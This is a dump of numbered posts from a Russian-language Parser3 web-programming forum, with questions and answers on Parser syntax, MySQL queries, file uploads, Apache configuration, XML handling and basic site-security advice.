"42130","А у меня глюк сегодня пропал там, где вчера был:) Ни одного раза после сотни форм."
"42131","[code]$str[+8 (3546) 35-46-54*3546][/code]\
Первое правило, избавляемся от всех не чисел:\
[code]^str.match[\\D+][g]{}[/code]\
Второе правило, меняем 8 на семь и отрезаем первые 11 знаков\
[code]^str.match[^^[78](\\d{10}).*?^$][]{7$match.1}[/code]\
Если результат оказался меньше 11 знаков = не валидный номер.\
\
P.S. Использую подобный механизм для отправки SMS с сайта."
"42134","Выполняю загрузку файла с сервера и получаю ошибку\
[code]'ISO-8859-1' unknown charset [parser.runtime][/code]\
\
Как можно выкрутиться из данной ситуации?"
"42135","http://www.parser.ru/forum/?id=32483"
"42136","Как можно организовать проверку на существование объекта класса (пользовательского)?\
\
Скажем как ^if($table){если не пуста}{если пуста}. Возможно?"
"42138","при этом хотелось бы не отступать от общего синтаксиса языка"
"42139","http://www.parser.ru/docs/lang/opdef.htm\
\
[quot]\
Оператор возвращает булевое значение (истина/ложь) и отвечает на вопрос «определен ли объект?» Проверяемым объектом может любой объект Parser: таблица, строка, файл, [b]объект пользовательского класса[/b] и т.д.\
[/quot]"
"42140","А мне нужно проверить по оределенному правилу.\
\
Пока экспериметрировал, выяснил, что у string есть метод append :)"
"42142","Созданный объект считается defined, о чем и написано в доке."
"42143","[code]^use[userclass.p]\
\
$userclassObject[^userclass::create[]]\
^if(def $userclassObject){\
    а как же иначе\
}{\
    быть такого не может\
}[/code]\
\
Так зачем же тогда нужна проверка def для объекта пользовательского класса? Вот зачем:\
\
[code]^use[userclass.p]\
\
$userclassObject[^userclass::create[]]\
$userclassObject[]\
\
^if(def $userclassObject){\
    не будет так\
}{\
    так и будет\
}\
[/code]\
\
Ваш вопрос:\
\
[quot]Как можно организовать проверку на существование объекта класса (пользовательского)?\
\
Скажем как ^if($table){если не пуста}{если пуста}. Возможно?[/quot]\
\
Вам изначально на него и ответили. А потом вы расширяете вопрос:\
[quot]А мне нужно проверить по оределенному правилу.[/quot]\
\
А по какому именно правилу, объяснить можете?"
"42145","[code]\
@main[]\
^method[]\
\
\
@method[]\
$var[^date::now[]]\
^try{\
	$var\
}{\
	$exception.handled(1)\
	$exception.comment\
}\
[/code]\
не работает - method_frame may not be overwritten...\
\
если обьявить переменную локальной, определять ее в @main[] или передавать параметром - то-же самое.\
\
если вынести весь код в @main[], тогда нормально.\
\
3.1.5"
"42146","Что означают строки  наподобие такой:\
[code]\
$Id: mysql.p,v 1.22 2004/06/03 17:32:03 misha Exp $.\
[/code]\
Т.е. то, что тут написана версия, дата выпуска и производитель, это даже я понял ;)\
Это какой-то стандарт?\
Решил сделать самодокументирование кода, хотелось бы придерживаться стандартов парсерого сообщества :)"
"42147","Вот уже не первый раз за последние 3 месяца пытаюсь сделать определение количества пользователей on-line.\
Класс авторизации взять Ваш. \
Доку и по мускулю читал и с ПХП смотрел, но я не врубаюсь.\
Пожалуйста, если не затруднит, приведите пример.\
Заранее благодарю!"
"42148","почему во многих подключаемых классах методы называются с прочерка?\
\
это деление: которые предназначены для внешних вызовов, называются как обычно, а для внутреннего пользования названия начинаются с \"_\" ?\
или тут другая какая-то цель?"
"42149","Необходимо произвести поиск по очень большой базе данных.\
Время поиска возможно превышает таймаут данный скрипту Апачем.\
\
Какие могут быть варианты, что лучше, что хуже?\
Возможно необходимо будет параллельно запускать несколько поисков.\
\
Как запустить подобный процесс (poisk.p)?\
Есть идея:\
\
./parser3.cgi poisk.p &\
\
Как проконтролировать, завершил ли работу процесс корректно?\
Как узнать работает ли процесс в настоящий момент, чтобы в случае чего - запустить его повторно?\
(ОС - Unix)\
\
\
Заранее спасибо.\
\
\
PS: Парсер в качестве языка не принципиален."
"42151","Может всё-таки тщательно проработать структуру базы, её индексы?"
"42152","Несколько сотен мегабайт текстовой информации, по которым необходим  поиск по fulltext индексу.\
\
Также возможно придется запускать параллельно несколько поисков и потом объединять результаты.\
\
Возможно придется запускать поиск на удаленных серверах, подгружать результаты и только потом отдавать пользователю.\
\
Вобщем, действительно, прогнозировать время исполнения скрипта тут крайне сложно."
"42153","Знатоки Апача, помогите.\
Интересует такой момент:\
\
Допустим из веб-интерфейса был запущен поисковый скрипт search.html\
Тот в свою очередь запустил фоновый процесс search.pl, который работает долго и упорно пока не найдет то что нужно и сам знает когда ему умереть.\
\
Вопрос: По истечении таймаута данного search.html Апачем, что произойдет с процессом search.pl? Он также будет убит, как потомок search.html или продолжит работать?"
"42154","1. Заголовки пишут кто и как угодно. Если воспользоваться CVS то их вообще не надо будет писать. Версиями будет управлять сам CVS.\
2. C подчёркивания начинаются вспомогательные методы (как правило вызываются другими методами), которые не выполняют основных функций, либо не выводят ничего на экран."
"42155","Хочу вызвать xml из папки вне веб пространства.\
[code]\
$xml_source[^xdoc::create{<?xml version=\"1.0\" encoding=\"koi8-r\" ?>\
<!DOCTYPE document [\
<!ENTITY weather3 SYSTEM \"parser://_weather_data/weather/weather_3.xml\">\
<!ENTITY weather10 SYSTEM \"parser://_weather_data/weather/weather_10.xml\">\
]>\
<document>&weather3^;&weather10^;</document>}]\
\
@_weather_data[file_name]\
$result[^xdoc::load[/..$file_name]]\
[/code]\
\
Получаю ошибку Internal Server Error\
Если загружаю файл из веб пространства, всё ок."
"42156","сравните с кодом:\
[code]\
@main[]\
$articleDate[^getArticleDate[]]\
\
@getArticleDate[]\
....\
$articleDate\
[/code]"
"42158","сам поиск работает за сотые секунды.\
Yandex.Server рулит."
"42159","по истечении timeout браузера разорвётся соединение и CGI скрипту придёт сигнал SIG_PIPE.\
\
по-умолчанию, от этого сигнала .pl скрипт умирает.\
\
в Parser по этому сигналу возникает исключение, которое можно задавить, но обработку аккуратно продолжить сейчас нетривиально.\
\
--\
\
почитайте о NPH скриптах, это то, что вам нужно.\
насколько помню, сейчас [последние версии обоих веток Apache] с этим совсем просто стало."
"42160","[code]\
...^xdoc::create{...\
<!ENTITY weather3 SYSTEM \"$request:document-root/../_weather_data/weather/weather_3.xml\">\
[/code]"
"42161","не xdoc. \
\
если что-то когда-то работает, это замаскированный глюк, реально такое работать не может."
"42163","не прояснилось ли чего?"
"42164","допустим, при тех же вычислительных мощностях.\
\
хотя задача не ограничивается одинм только поиском по БД на localhost."
"42167","флаг срабатывает, и тогда метод возвращает эту дату, опять вызывая аналогичный эксцепшн.\
\
ещё один вопрос:\
[code]\
@main[]\
^method[]\
\
@method[]\
$var[^date::now[]]\
$res[a]\
^try{\
	$var\
}{\
	$exception.handled(1)\
	$res[b]\
}\
$result[$res]\
[/code]\
по идее метод должен возвратить[b]b[/b], но возвращает почему-то [b]a[/b]?"
"42168","Есть две таблицы: forum и users.\
[b]forum[/b]: forum_id, parent_id, date, user_id, author\
[b]users[/b]: user_id, login\
\
В forum хранятся все сообщения плоского форума: корневые и ответы. Сообщения, написанные авторизованными пользователями содержат значимый user_id.\
\
Задача из пяти частей:\
1. Выбрать корневые сообщения\
2. Посчитать количество ответов на них\
3. Получить дату последнего ответа на корневое сообщение, а если ответов нет — то дату самого корневого собщения.\
4. Если есть user_id у корневого сообщения, получить из users логин пользователя, иначе — просто забрать поле author.\
5. п. 4 для последнего ответа на корневое сообщение (если он есть).\
\
И все это сделать одним запросом. C первыми четырьмя все довольно просто:\
[code]SELECT\
	root.forum_id,\
	root.date,\
	IFNULL(children.date,root.date) AS last_dt,\
	IFNULL(users.login,root.author) AS author,\
	COUNT(children.forum_id) AS cnt\
FROM \
	forum AS root\
	LEFT JOIN forum AS children ON root.id=children.parent_id\
	LEFT JOIN users ON root.user_id=users.user_id\
\
WHERE root.parent_id=0\
GROUP BY root.forum_id[/code]\
\
Но на пятом пункте я споткнулся. Я ж не могу написать так:\
\
[code]...\
LEFT JOIN forum AS children ON root.id=children.parent_id\
LEFT JOIN users ON root.user_id=users.user_id\
LEFT JOIN users ON [b]children[/b].user_id=users.user_id\
...[/code]\
\
Намекните, пожалуйста, в какую сторону думать."
"42169","есть множество папок, в которых лежит один и тот же файл index.html.\
\
Содержимое файла зависит от $request:uri и $form:id.\
\
Как можно безболезненно перейти на более простую систему. Чтобы не править все файлы, а обойтись одной правкой одного шаблона?"
"42170","я пытался это показать примером, что\
\
метод, в общем виде, может возвращать всё, что угодно.\
в том числе даты.\
\
и нет ровно ничего плохого в том, что посередине метода кто-то обращается к переменной типа date."
"42174","хм... сорри...\
Что-то неправильно было?"
"42175","есть текст с переносом - \\n\\n\
тащу парсером этот текст:\
[code]<body-post>$body</body-post>[/code]\
кидаю под шаблон:\
[code]<textarea name=\"body\" rows=\"8\" style=\"width:80%\">\
<xsl:apply-templates select=\"body-post\" />\
</textarea>[/code]\
переносов в форме - нет.\
искал по сайту нашел только то, что это:\
<xsl:strip-space elements=\"*\"/>\
срезает пробельные элементы, а как наоборот?(строку стирал - не помогло)"
"42176","Я не смог у себя воспроизвести вашу проблему: у меня все переносы в textarea сохраняются. Поискал по форуму и наткнулся на эту ветку (в заголовке). И тут уже у меня вопрос по поводу [url=\"http://www.parser.ru/forum/?id=16531\"]ответа Александра[/url]:\
\
[quot]можно сделать, чтобы transformed было не clean, а as-is само, однако мне это не очень нравится: не общо.[/quot]\
\
Сегодня, значит, xdoc.transformed - as-is (как и xdoc.string)?\
Писал в xsl в элементы подряд идущие символы white space - попадают в браузер. Писал в xml - то же самое. Или я где-то заблуждаюсь?"
"42177","Надо глубже вчитываться в короткий текст ошибки: Not unique table/alias :-)\
\
[code]SELECT\
root.forum_id,\
root.date,\
IFNULL(children.date,root.date) AS last_dt,\
IFNULL(users.login,root.author) AS author,\
IFNULL(last_users.login,children.author) AS last_author,\
COUNT(children.forum_id) AS cnt\
\
FROM forum AS root\
\
LEFT JOIN forum AS children ON root.id=children.parent_id\
LEFT JOIN users ON root.user_id=users.user_id\
LEFT JOIN users [b]AS last_users[/b] ON children.user_id=[b]last_users[/b].user_id\
\
WHERE root.parent_id=0\
GROUP BY root.forum_id[/code]"
"42179","а может при сборке xml заменять все \\n на теги параграфов и при трансформе явно их заменять на переводы строк."
"42181","локально (Win32) всё работает правильно, на сервере Linux -- нет :(\
\
вот код:\
[code]\
Загрузка файла:\
<form method=\"post\" enctype=\"multipart/form-data\"> \
<input type=\"file\" name=\"upload\">\
<input type=\"submit\" value=\"Закачать\">\
</form>\
\
^if(def $form:upload){\
	^form:upload.save[binary;/download/data.^file:justext[$form:upload.name]]\
}\
[/code]\
\
закачиваются файлы в двух форматах: MS Excel и WinZIP.\
ZIP потом читается правильно, а Excel выдает:\
[quot]\
Нет доступа к 'data.xls'. Файл, диск или каталог могут быть доступны только для чтения, либо сервер не отвечает на запрос.\
[/quot]\
\
Пробовались варианты с .htaccess:\
1.\
без .htaccess\
\
2.\
CharsetDisable On\
\
3.\
CharsetDisable On\
CharsetRecodeMulipartForms Off"
"42183","я изменил своё мнение, и теперь [с 3.1.4] считаю такой подход более правильным.\
\
http://www.parser.ru/docs/src/xdoc_8C-source.htm\
строка 730"
"42184","и не одну.\
\
но можно и коротко: попробуйте сделать лучше.\
\
ближайшее доступное, это mnogosearch с собственным форматом хранения. однако он проигрывает на больших объёмах (~600M) yandex'у, по моим наблюдениям, на три порядка: ищет на той же машине ~10-15 секунд.\
\
однако, надо признать, пробовал я последний раз такое года три назад, с тех пор машинки стали побыстрее и разрыв на хорошей железке не будет таким заметным.\
\
однако, судя по тону исходного вопроса, таких запросов к машине предполается [b]много[/b], тут недостатки mnogosearch выявятся очень чётко.\
\
конечно, нужно сравнивать.\
это вполне можно делать — версию yandex.server с фиксированным дизайном авторы раздают бесплатно."
"42185","перефразируем ваш вопрос:\
я закачал файл .xls и теперь пользователь не может его скачать.\
\
вероятно, сервер настроен так, что выдаёт какой-то странный content-type при запросе .xls документов.\
\
самый простой подход тут:\
http://www.parser.ru/docs/lang/responsedownload.htm\
\
однако если нужно, чтобы документ всё же отображался прямо в браузере, то нужно будет разобраться.\
\
если разбираться с HTTP ответом сервера вам не досуг (утилита wget, ключ -d), тогда можете поиграться этим:\
\
http://httpd.apache.org/docs/mod/mod_mime.html#addtype\
должен быть\
application/vnd.ms-excel"
"42186","ага, вчера предлагали почти тоже самое: вроде как \"обратный типограф\" прицепить"
"42187","Мне посоветовали здесь, я и изучаю. В документации написано, что правила следует писать в .htaccess той папки, от которой будет перенаправление\
\
RewriteEngine On\
RewriteRule  ^/(.*)                 /test$1 \
\
Всё хорошо, но если разместить правило в корневой папке\
\
RewriteEngine On\
RewriteRule  ^/file(.*)                 /test$1\
\
и удалить папку file, то выдает 404. Помогите, плиз!"
"42188","Всем привет, Помогите!\
Мне срочно нужен програмист PHP На постоянную работу.\
от 1000 $"
"42189","mod_rewrite штука трудная, однако сидеть и смотреть 2 часа в одну точку вредно.\
попользуйтесь поиском по форуму, по internet.\
найдёте готовые решения и сразу поймёте, где неправы.\
\
отличие вашего текста от правильного в одном байте."
"42190","RewriteEngine On\
RewriteRule ^file(.*) /test$1\
\
Всё работает."
"42191","если заливать по FTP, то файл открывается нормально.\
если залить через web-форму, то при побайтном сравнении, после закачки, XLS-файлы одинаковые, но файл не открывается.\
\
что-то \"плохое\" происходит в момент закачки файла.\
вот только что? ZIP-файл же нормально открывается..."
"42192","байты совпадают, но файл портится, это вы хорошо шутите.\
\
перепроверьте содержимое файла.\
\
возможно, ваш пункт (3), нужно делать в cgi-bin/.htaccess"
"42194","Пробовал все варианты, какие пришли в голову, поискал по форуму, попробовал,почитал книжку по MySQL, документацию, но так и не пришёл к результату.\
Хочу выводить из базы данных только 2 последних сообщения (для главной страницы, с сортировкой в разделе новостей всё получается), может подскажет кто, что посмотрет и на что обратить внимание при подключении sort для такой записи, чтоб получилось?\
\
^connect[$connect_string]{$news[^table::sql{select date, body from news}[$.limit(2)[desc]]]\
^news.menu{<p class=\"news\"><span class=\"date\">$news.date</span><br>^untaint{$news.body}</p> \
      }[<br>]}"
"42196","если вы имеете ввиду чтобы записать так\
^connect[$connect_string]{$news[^table::sql{select date, body from news order by desc}[$.limit(2)]]\
то почему-то не работает, ну и другие варианты которые я пробовал с order by\
%-("
"42197","Посмотрите примеры запросов из книжки или документации, где используется ORDER BY, более внимательно. У вас в запросе кое-чего не хватает."
"42198","ok!"
"42199","Огромное спасибо! Всё теперяча понятно :) \
Всё разжёвано. Как я сам то не догадался?"
"42200","Я уже не первый раз пытаюсь решить эту задачку, искал в форуме, кое-что нашел, но все же не все понял. У меня на сайте есть каталог /admin/ и  я хочу, чтоб в него могли заходить только пользователи группы admin. Так вот как это сделать? Как я понял, для начала надо создать табляцу page со всеми каталогами сайта? Понятно,  а какие там поля должны быть? И что еще за поле irf, т.е. наследованная маска? Не понял. и что делать после создания таблицы?\
Заранее благодарю за потраченное время.\
З.Ы. изпользую Мишин класс авторизации."
"42201","если залить через web-форму, то при [b]побайтном сравнении[/b], после закачки, XLS-файлы одинаковые, но файл не открывается.\
\
имелось ввиду ОДИНАКОВЫЙ РАЗМЕР ФАЙЛА"
"42202","[code]$filesize_1(1234566)\
$filesize_2(1234567)\
\
Покилобайтно ^if(^KB_compare($filesize_1;$filesize_2)){одинаковы}{неодинаковы}\
\
@KB_compare[size_1;size_2]\
$result(^eval($size_1/1024)[%.2f] == ^eval($size_2/1024)[%.2f])\
[/code]"
"42203","не годится?"
"42204","сюрприз: это уже тут обсуждалось."
"42205","мда, да, конечно я читал про это на сайте Eugene Spearance, но не знаю... Нет, все же хотелось бы так, это как-то по элегантнее. Просто я делаю 2 сайта - себе и школе. В первом случае конечно средствами апача, а вот в школу надо через класс, а то не проканает. Тем более, там хотят разным пользователям - разные права. Буду оч признателен если объясните."
"42208","безусловно всё можно.\
и это будет проще, чем любая самонаписанная авторизация.\
и это отлажено и уже работает.\
\
в полезных ссылках есть документация на ваш веб-сервер. если кто найдёт документацию по-русски или фрагмент её, шлите, положим в полезные ссылки."
"42209","Срочно свяжитесь с Администрацией города Лобня"
"42210","Или я того, или компы своей жизнью живут строчку\
^connect[$connect_string]{$news[^table::sql{select date, body from news order by date desc}[$.limit(2)]]\
писал тыщу раз, а заработала она только после того как перед order by нажал Enter.  Кстати, работает выборка, спасибо за моральную поддержку Kaverdo."
"42211","Тут http://www.parser.ru/forum/?id=42196 вы его упускали."
"42212","Если писать так: ^connect[$connect_string]{$news[^table::sql{select date, body from news order by date desc, body desc}]\
то выборка работает и со строкой ^news.sort{$news.date}[desc] и без неё, интересно, это правильно? если работает, то по фиг конечно, но непонятно..."
"42214","Семён семёныч! %-)"
"42217","Потому что работу ^news.sort, в данном примере, уже сделал ORDER BY, и поэтому ему (^news.sort) уже нечего тут делать = нужно выкинуть."
"42218","ладненько, уговорили, будем апачить;)"
"42220","только маленькое \"но\":\
\
[color=\"#ff0000\"]НЕ[/color]\
CharsetDisable On\
CharsetRecodeMulipartForms Off\
\
А\
CharsetDisable On\
\
[color=\"#333333\"](хостинг azz.ru)[/color]\
\
почему \"тупил\":\
[quot]обратите внимание, что .htaccess нужно создавать не в каталоге, куда кладется файл, а там, где находится скрипт принимающий и обрабатывающий данные формы.[/quot]\
\
я думал, что обрабатывающий скрипт index.html"
"42226","Хочу сделать отображение всех записей БД в таблице news, с возможностью удалить любую запись(строку, если допустим ошибиться при вводе текста) пишу следующее:\
\
^if($news){<form method=\"post\"><fieldset>\
<legend class=\"smaller\"><b>Удаление новостей</b></legend>\
<table cellpadding=\"2\" cellspacing=\"1\" border=\"0\" width=\"100%\">\
<tr>\
	<td><p class=\"smaller_italic\">Удалить запись</p></td>\
	<td><p class=\"smaller_italic\">Дата новости</p></td>\
	<td><p class=\"smaller_italic\">Заголовок новости</p></td>\
	<td><p class=\"smaller_italic\">Текст новости</p></td>\
</tr>\
^news.menu{\
<tr>\
	<td><input type=\"Checkbox\" name=\"trash\" value=\"$news.news_id\"></td>\
	<td>$news.date</td>\
	<td>^untaint{$news.header}</td>\
	<td>^untaint{$news.body}</td>\
</tr>\
<tr>\
	<td colspan=\"4\"><input type=\"Submit\" value=\"Удалить запись из базы данных\" name=\"delete\"></td>\
</tr>}\
</table>\
</fieldset></form>}\
#Обработка формы\
^connect[$connect_string]{$news[^table::sql{select news_id, date, header, body from news order by date desc}]}\
^if(def $form:delete){^void:sql{delete from news where news_id='$form:trash'}}\
\
однако, нифига не работает, либо выдает ошибку, либо на странице пусто (это вроде ошибки нет,  всё нормально, но форму не показывает). Может намекнёт кто, где я не прав?"
"42227","пожалуйста, \
выкиньте untaint,\
пользуйтесь http://www.parser.ru/forum/info.html\
и читайте сообщения об ошибках, что вам пишут.\
\
если сами не можете перевести, пользуйтесь поиском по форуму и http://lingvo.yandex.ru"
"42230","ок, спасибо! %-)"
"42231","Приветствую всех, кто так долго терпел мои глупы сообщения, а особенно тех, кто на них отвечал :).\
Встал очень серьезный для меня вопрос - БЕЗОПАСНОСТЬ.\
Написал маленький сайт на Парсере3. Сайт почти на 70% сайт состоит из примеров с этого сайта (СПАСИБО ВСЕМ АВТОРАМ). \
Тут начали блин угрожать расправой над сайтом.\
Если кто сталкивался с вандалами, то прошу помощи, т.к. сам я не очень (никак можно сказать) шарю в администрировании хостинга и защите страниц.\
Подскажите - какие возможные опасности? Как защититься, хотя бы по минимуму? \
Заранее всех благодарю!"
"42232","Всё равно не догоняю, понимаю что все дело наверно в ^if..."
"42234","Определись кто эти вандалы\
Дети желающи пошалить\
или как\
\
Если это \"дети\" способные написать простой скрипт для забивания форума всяким мусором то надо боротьс флудом и спамом.\
\
Если серьёзные прогеры - то начать делать бекапы почаще на домашний компьютер и набраться терпения :), последний вариант мало вероятен, таким ребятам есть чем заняться"
"42235","Не дети это точно. Слишком хорошо и серьезно написано.\
На флуд можно не обращать внимания.\
Меня больше волнуют вопросы доступа к файлам, БД.\
То есть редактирование, изменение и т.п.\
Пока я нигде не встречал сообщений о том, что в Парсере найдена дыра или что-то в этом роде, но вдруг есть. Или нет?\
Можно ли как-нить получить доступ к каталогам, подставляя в url каталоги, пути или ещё чё-нить?"
"42237","Я не уверен, что без ^untaint я в принципе смогу вывести записи таблицы БД, ведь например без него у меня не выводились бы записи в Разделе \"новости\""
"42238","После обработки формы\
[code]\
$a[$form:fields]\
^if($a.Par1!=0 || $a.Par2!=0 || $a.Par3!=0){\
	$Par1($a.Par1)$Par1 \
	$Par2($a.Par2)$Par2 \
	$Par3($a.Par3)$Par3\
## $list - table\
		^list.menu{\
			^if($a.idtov==$list.idtov){\
			<p>^$list.formula = $list.formula</p>\
\
## К примеру $list.formula=$Par1*$Par1		\
\
			}\
		}\
	}\
[/code]\
\
Результат\
$list.formula = $Par1*$Par1\
\
т.е. Parser вставляет формулу, но не обрабатывает ее..\
\
Попытался использовать process, но не могу разобраться с синтаксисом:\
[code]\
$running_man[^man::create[$list.formula]]\
^process[$running_man]{\
<p>Имя: $name</p>}\
[/code]\
\
Куда писать перемеенную $list.formula в моем случае?"
"42239","Бр...\
Я даже на первых порах так не пытался делать. Извини, я не выпендриваюсь, но всё ж PAF иногда бывает прав. Доку читать нужно в обязательном порядке.\
\
Если я правильно понял, то ты пытаешься произвести вычисления! Да?\
Если да, то для этого существует ^eval($xxx*$yyy). Если полученное значение нужно не просто вывести, а ещё и сохранить в переменной для последующей обработки, то $zzz[^eval($xxx*$yyy)]."
"42240","Оп.. Ещё замечание.\
Почитай в доке про переменные и способы присвоения значений.\
$xxx=$yyy - работать не будет. $xxx[$yyy] - будет."
"42241","P.S. Опишите вашу задачу"
"42242","А переменные из URL запроса"
"42244","У вас в таблице текст -- он и выводится...\
Возвращаемся к http://www.parser.ru/forum/?id=42241\
\
Пример:\
\
[code]\
$var(2)\
$var2(2)\
\
$list[^table::create{id	operation\
1	$var * $var2\
2	^eval($var * $var2)}]\
\
^list.menu{\
$list.operation\
}[=]\
[/code]"
"42245","Можно понадеяться на статистику более че 90% угроз заканчивается угрозами.\
Резервные копии всётаки делайте.\
Дыру в парсере они врядли найдут, тк это долгий и оч тяжёлый труд.\
Скорее они будут валить что-нибудь из популярного на что баги постоянно публикуются, типа phpbb\
Посмотрите чтоб MySQL, Apache и что у вас там ещё смотрит в мир было последней версии.\
Поменяйте все пароли на безопасные.\
И главное, спите спокойно тк если грабли прилетят нужна будет трезвая и бодрая голова для быстрого и качественного устранения неполадок.\
Самое главное перед устранение подумайте как они это сделали, иначе они это сделают ещё не раз.\
\
Желаю удачи!"
"42246","Заношу данные с обычной формы в sql базу, а при запросе\
техт возвращается в таком вот виде: CfD0CeC1C0 CfC5D0C0! D5C0-D5C0!!!\
На сколько я понял, 16-ричный.\
(В таблице при просмотре через phpmyadmin, текст тоже такой)\
Кто то встречался с такой лажей?\
Спасибо."
"42248","Ваш пример работает...а себя не получается.\
Может быть проблема в типах данных\
\
Я формирую таблицу так\
[code]\
$list[^table::sql{select tov, idtov, formula\
from TabParam\
where formula <> '0'\
order by tov\
}]\
[/code]\
\
у меня поле formula тип данных text.\
В чем проблема...."
"42249","...то без ^process{} выполняться он не будет...\
\
Да и вообще хранить код в базе может понадобиться очень редко.\
Почти всегда можно придумать более правильное решение (я вас просил задачу описать - а вы молчите как партизан:).\
\
Тем не менее, если считаете, что по-другому нельзя:\
\
В базе:\
[code]\
id     operation\
1      ^eval($var*$var2)\
2      ^eval($var+$var2)\
3      ^eval($var-$var2)\
[/code]\
\
В auto.p или *.html:\
[code]\
$var(2)\
$var2(2)\
\
^connect[mysql://user:pass@host/database]{\
$list[^table::sql{SELECT id, operation FROM db}]\
}\
\
^list.menu{\
^process{$list.operation}\
}[<br />]\
[/code]"
"42250","Большой респект Denis P.\
\
Вообще задача такая: есть список товаров, у каждого товара свои параметры (макс. 3) и соотв. свои формулы для расчета.\
т.е. обращаясь к определенному товару я знаю какие у него есть параметры и по какой формуле вести расчет."
"42251","Сильно поможет что Parser еще мало известен... как показывает моя практика пытаются ломать как PHP ничего не получается естественно...."
"42252","[b]/home/[color=\"#ff0000\"]логин[/color]/.kde/share/apps/katepart/[/b]"
"42253","[code]\
#####\
### Удаление новости\
\
#начало обработки\
^connect[$connect_string]{\
	^if(def $form:del_news){\
		^void:sql{\
			DELETE FROM\
				news\
			WHERE\
				id = '$form:radio'\
		}\
	}\
	$news_select[^table::sql{\
		SELECT\
			id, date, header, body\
		FROM\
			news\
		ORDER BY\
			date\
	}]\
}\
	^if($news_select){\
		<form method=\"POST\">\
		<table>\
			<th>Удалить новость</th>\
			<tr align=\"center\">\
				<td><b>Удалить</b></td>\
				<td><b>Дата</b></td>\
				<td><b>Заголовок</b></td>\
				<td><b>Текст</b></td>\
			</tr>\
			^news_select.menu{\
				<tr>\
					<td><input type=\"radio\" name=\"radio\" value=\"$news_select.id\"></td>\
					<td><nobr>$news_select.date</nobr></td>\
					<td>^untaint{$news_select.header}</td>\
					<td>^untaint{$news_select.body}</td>\
				</tr>\
			}\
		</table>\
		<p><input type=\"submit\" value=\"Удалить\" name=\"del_news\">\
		</form>\
}\
\
#####\
### end Удаление новости\
[/code]\
\
Отличается радио-кнопкой ;) ([url=\"http://www.parser.ru/forum/?id=41046\"]начало[/url])\
(новости \"пачками\" удалять не требуется).\
\
откуда взялся «^untaint» — я «заливаю» новости после обработки [url=\"http://typograf.ru/\"]typograf'ом[/url]:\
\
[code]\
^connect[$connect_string]{\
	^void:sql{\
		INSERT INTO\
			news\
				(date, header, body)\
		VALUES\
			('$form:date', ^typograf:text_process['$form:header'], ^typograf:text_process['$form:body'])\
	}\
		новость добавлена!!!\
}\
[/code]\
\
и чтобы не ставить в ступор «секретаршу» откуда взялись nbsp и т. п. тэги , они транслируются в человеческий вид…\
\
рекомендуется:\
[quot]и лучше SELECT и DELETE поменять местами чтобы после удаления уведеть что это произошло :-)[/quot]\
совет Марата Рахимова — «Я» (http://www.parser.ru/forum/?id=41050)\
\
и еще. мною было замечено, что Mozilla Firefox (в частности, 1.0.3) «коряво» работает с class внутри <p> (у меня отказался «сдвигать» — <p style=\"margin-left: 75px;\">. «вылечилось» изменением на  <div style=\"margin-left: 75px;\">"
"42255","будьте конкретнее, ваше следующее невнятное сообщение будет просто убито."
"42256","если форму создать js, то при post она уходит в %uHHHH, а parser такое не декодирует.\
\
это легко проверить, переключив post на get и посмотрев на адресную строку после submit."
"42258","Совсем недавно столкнулся с перекодировкой из javascript формы.\
Поискал по форуму, нашёл только одно решение этой проблемы:\
http://www.parser.ru/forum/?id=38697\
Но использовать его  так и не смог, т.к. там используется <xsl:script>. Парсер на него упорно ругается и не хочет с ним работать.\
\
Реализовал самый простой вариант, сделал таблицу реплейсов. Но сей мамонтовский метод мне самому не очень нравится.\
\
Вопрос: какими ещё способами можно декодировать такие %uHHHH данные?"
"42260","[i]index.html[/i]\
[code]$sub[$.second[$.id(3)]]\
$response:body[$sub.second][/code]\
\
Выдает ошибку:\
[code]Unhandled exception 0xC0000005 at 0x00409DE6[/code]\
\
А так:\
[code]$sub[$.second[$.id(3)]]\
$sub.second[/code]\
— method_frame may not be overwritten with hash (что верно)\
\
Parser id: Parser/3.1.4 (compiled on i386-pc-win32)"
"42262","большой срочности тут не вижу, со временем починю."
"42263","мне обещали сделать, но не сдержали обещание.\
если кому нужно, связывайтесь со мной напрямую, помогу."
"42264","она не декодирует %uHHHH, только urlencoded-данные в UTF-8. Исправил описание, чтобы не вводить в заблуждение.\
\
Насчет декодирования %uHHHH, несколько client-side вариантов, по материалам dklab.ru:\
\
[quot]Вообще говоря, в последний версиях JavaScript имеется функция encodeURIComponent(), умеющая кодировать данные в обход Unicode. Однако она не поддерживается, например, в Internet Explorer 5.0, так что из соображения кроссбраузерности нам не подходит.[/quot]\
\
ещё интересные костыли, только для windows-1251, но можно дополнить:\
\
[quot]function hex_escape (str) {\
        str = escape(str);\
        str = str.replace(/%u041/g, '%C');\
        str = str.replace(/%u042/g, '%D');\
        str = str.replace(/%u043/g, '%E');\
        str = str.replace(/%u044/g, '%F');\
        str = str.replace(/%u0401/g, '%A8');\
        str = str.replace(/%u0451/g, '%B8');\
        str = str.replace(/\\+/g, '%20');\
        return str;\
}[/quot]"
"42266","Есть сайт, сделанный на parser (под IIS6), на него поставили ssl-сертификат.\
При запросе по https все время выносит в 404 страницу.\
\
Видимо, система не может распознать по URL, к какой странице происходит обращение, чтобы корректно вытащить ее шаблон из БД, поэтому и выносит на 404.\
\
Вопрос, где ковырять?\
Может быть, это уже проходили.\
\
P.S.\
Поискал немного, нашел в classes/doc.p следующую строку:\
[code]$request[^request:uri.match[^^(.*?http://${env:SERVER_NAME}:80)(.*?)(&.*|^$)][i]{$match.3}][/code]\
Видимо, это оно.\
Походил по форуму, подумал, заменил в строке выражение http:// на https?://\
Вроде бы еще надо добавить порт 443, но как ни старался, с портом пока ничего не получается.\
\
Есть ли у кого-нибудь готовый рецепт?"
"42267","Не ту строку привел, строка изначально была вот такая:\
\
[code]$request[^request:uri.match[^^(.*?http://${env:SERVER_NAME}:80)(.*?)(&.*|^$)][i]{$match.2}][/code]\
\
Стоит третьей строкой в classes/doc.p"
"42273","надо делать контент сайт wap\
\
база около 30000 объектов, трафик планируется до 10000 в сутки\
какова будет скорость в привязке parser+mysql"
"42275","В нашем случае дело было в mod_bandwidth.\
Решение проблемы вот тут: http://www.imfi.kspu.ru/opennet/www.opennet.ru/tips/sml/11.shtml"
"42276","В нашем случае проблема была в mod_bandwidth.\
Решение тут: http://www.imfi.kspu.ru/opennet/www.opennet.ru/tips/sml/11.shtml"
"42279","создаю объект xdoc:\
[code]\
$xml_source[^xdoc::create{<?xml version=\"1.0\" ?>\
<!DOCTYPE doc [\
<!ENTITY weather SYSTEM \"/weather.xml\">\
]>\
...]\
[/code]\
Заголовок файла /weather.xml начинается так\
[code]\
<?xml version=\"1.0\"?>\
...\
[/code]\
т.е. перед символом ? нет пробела, что собственно не противоречит спецификации.\
